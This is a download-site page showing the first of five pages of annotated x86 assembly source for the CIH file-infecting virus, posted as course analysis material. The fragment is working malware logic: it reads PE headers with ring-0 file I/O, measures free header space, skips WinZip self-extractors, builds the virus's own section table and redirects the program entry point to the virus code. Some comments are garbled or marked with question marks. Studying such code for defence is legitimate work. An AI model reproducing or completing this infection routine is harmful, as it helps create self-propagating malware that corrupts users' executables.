⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 cih14.txt

📁 哈哈是CIH的分析代码,是我们病毒选修课的作业,现在留作业让我们编病毒!
💻 TXT
📖 第 1 页 / 共 5 页
字号:
                                                                                 
                        ; For Doing Minimal VirusCode's Length,                  
                        ; I Save EAX to EBP.                                     
                        mov     ebp, eax                                         
                                                                                 
                        push    00000004h        ;读取4个字节                                      
                        pop     ecx                                              
                        push    0000003ch        ;读取dos文件头偏移3ch处的Windows文件头首部偏移                                    
                        pop     edx                                              
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO

                        ;读文件到esi                                                       
                                     
                                                                                 
                        push    ebx     ; Save File Handle    ;保存文件句柄                    
                                                                                 
                        push    00h     ; Set VirusCodeSectionTableEndMark       
                                                   
;  *****设置病毒感染标志*****                                                                               
                        push    01h     ; Size                                   
                        push    edx     ; Pointer of File   ;edx指向PE文件头偏移00h                     
                        push    edi     ; Address of Buffer   ;edi为IFSMgr_Ring0_FileIO的地址(原注释有误)                    
                                                                                                                                    
                                                                                 
                        mov     dr1, esp     ;保存ESP寄存器                                       
                                                                                                                                 
                                                                                 
                        push    eax     ; Size     ???????                              
                                                                                 
                                                 
;  *****读文件的图像头*****                                                                                
                        mov     eax, ebp                                         
                        mov     cl, SizeOfImageHeaderToRead        ;要读2个字节(WORD NumberOfSections)              
                        add     edx, 07h ; Move EDX to NumberOfSections       ;PE文件头+07h为NumberOfSections(块个数)   
                        call    edi      ; VXDCall IFSMgr_Ring0_FileIO    ;读出NumberOfSections(块个数)到esi       
                                                                                 
                                                   
;  *****   ???????????????????????********                                                                                
                        lea     eax, (AddressOfEntryPoint-@8)[edx]               
                        push    eax     ; Pointer of File                        
                                                                                 
                        lea     eax, (NewAddressOfEntryPoint-@8)[esi]            
                        push    eax     ; Address of Buffer                      
                                                                                 
                                                   
;  *****EDX指向文件中块表的入口处*****                                                                                 
                        movzx   eax, word ptr (SizeOfOptionalHeader-@8)[esi]     
                        lea     edx, [eax+edx+12h]     ;edx为SectionTable的偏移                            
                                                                                 
                                                   
; *****获得块的总大小*****                                                                                 
                        mov     al, SizeOfScetionTable      ;每个块表项(ScetionTable)的大小(字节)                      
                                                                                 
                     
                        mov     cl, (NumberOfSections-@8)[esi]                   
                                                                                 
                        mul     cl       ;每个块表项乘以块个数=块表大小                                         
                                                               ;  ******ESI指向块表的开始处*****                 
                                     
                        lea     esi, (StartOfSectionTable-@8)[esi]         ;esi指向块表首址(在病毒动态数据区中)      
                                                                                 
                        push    eax     ; Size    ;块表大小                                  
                        push    edx     ; Pointer of File  ;edx为SectionTable的偏移                      
                        push    esi     ; Address of Buffer                      
                                                                                 
                                                 
                                                                                 
                        inc     ecx                                              
                        push    ecx     ;预留病毒块表空间            
                                                                                 
                        shl     ecx, 03h                                         
                        push    ecx     ; Save TotalSizeOfVirusCodeSectionTable  
                                                                                 
                        add     ecx, eax                                         
                        add     ecx, edx       ;ecx+文件的正文的偏移                                  
                                                                                 
                        sub     ecx, (SizeOfHeaders-@9)[esi]                     
                        not     ecx                                              
                        inc     ecx       ;求补,ecx为文件头大小-正文的偏移=未用空间
                                       
;  ***** 保存病毒第一块代码, 下面各块表的大小,除了代码块表的大小*****                                                                             
                        push    ecx                                              
                                                                                 
                        xchg    ecx, eax      ; ECX(块表大小)= Size of Section Table        
                                                                                                   
                        mov     eax, (AddressOfEntryPoint-@9)[esi]        ;入口RVA地址       
                        add     eax, (ImageBase-@9)[esi]     ;装入基址                       
                        mov     (OriginalAddressOfEntryPoint-@9)[esi], eax       ;保存装入后实际的入口地址
                                                                                 
                        cmp     word ptr [esp], small CodeSizeOfMergeVirusCodeS  
tion                                                                             
                        jl      OnlySetInfectedMark     ;未用空间和病毒第一块大小比较,如果小于就只设感染标志                         
                                                                                 
                                                  
; *****读所有的块表*****                                                                                
                        mov     eax, ebp    ;读的功能号                                     
                        call    edi     ; 读块表到esi(@9处) 
                                                                                 
                                                  
                                                                                 
                        xchg    eax, ebp                                         
;  ************ ???????????????*************                                                                                
                        push    00000004h                                        
                        pop     ecx       ;读4字节                                       
                                                                                 
                        push    edx                                              
                        mov     edx, (SizeOfScetionTable+PointerToRawData-@9)[ebx]         ;edx为第二块的偏移                                                                       
                        add     edx, 12h       ;加10h+2h(10h处为"WinZip....")                                    
                                                                                 
                        call    edi       ;读4字节到esi           
                                                                                 
                                      
                        cmp     dword ptr [esi], 'piZn'                          
                        je      NotSetInfectedMark    ;先判断是否是WinZip自解压文件,如果是就不设置感染标志,不是才设置感染标志                           
                                                                                 
                        pop     edx     ;edx指向块表在文件中首址                                         
                                                               ;  *****设置全部病毒块表*****                  
                                                                  ; EBX = My Virus First Section Code  
                        pop     ebx      ; 未用空间大小                                         
                        pop     edi      ; EDI = TotalSizeOfVirusCodeSectionTabl
                        pop     ecx      ; ECX = NumberOfSections+1             
                                                                                 
                        push    edi                                       
                                                                                 
                        add     edx, ebp     ; ebp为块表大小                                    
                        push    edx      ;指向块表后(第一块)                      
                                                                                 
                        add     ebp, esi     ; ebp指向病毒数据区的块表后(第一块)                                      
                        push    ebp                          
                                                   
;  *****设置病毒代码第一块的大小*****                                                                                 
                        lea     eax, [ebp+edi-04h]                               
                        mov     [eax], ebx    ;设置病毒代码第一块的大小(未用空间大小)到病毒块表                                   
                                                 
 ;  ******设置病毒程序的第一块*****                                                                                
                        push    ebx     ;病毒代码第一块的大小                                 
                                                                                 
                        add     edx, edi                                         
                        push    edx      ;指向块表后(第一块)+病毒代码第一块的大小    ??????????             
                                                                                 
                        lea     edi, (MyVirusStart-@9)[esi]                      
                        push    edi     ; 指向病毒开始处
                                                
                                                          ;  *****定义病毒程序的入口地址*****
                       
                        mov     (NewAddressOfEntryPoint-@9)[esi], edx      ;保存新的病毒程序入口      
                                                  
;  *****设置初始数据*****                                                                                 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -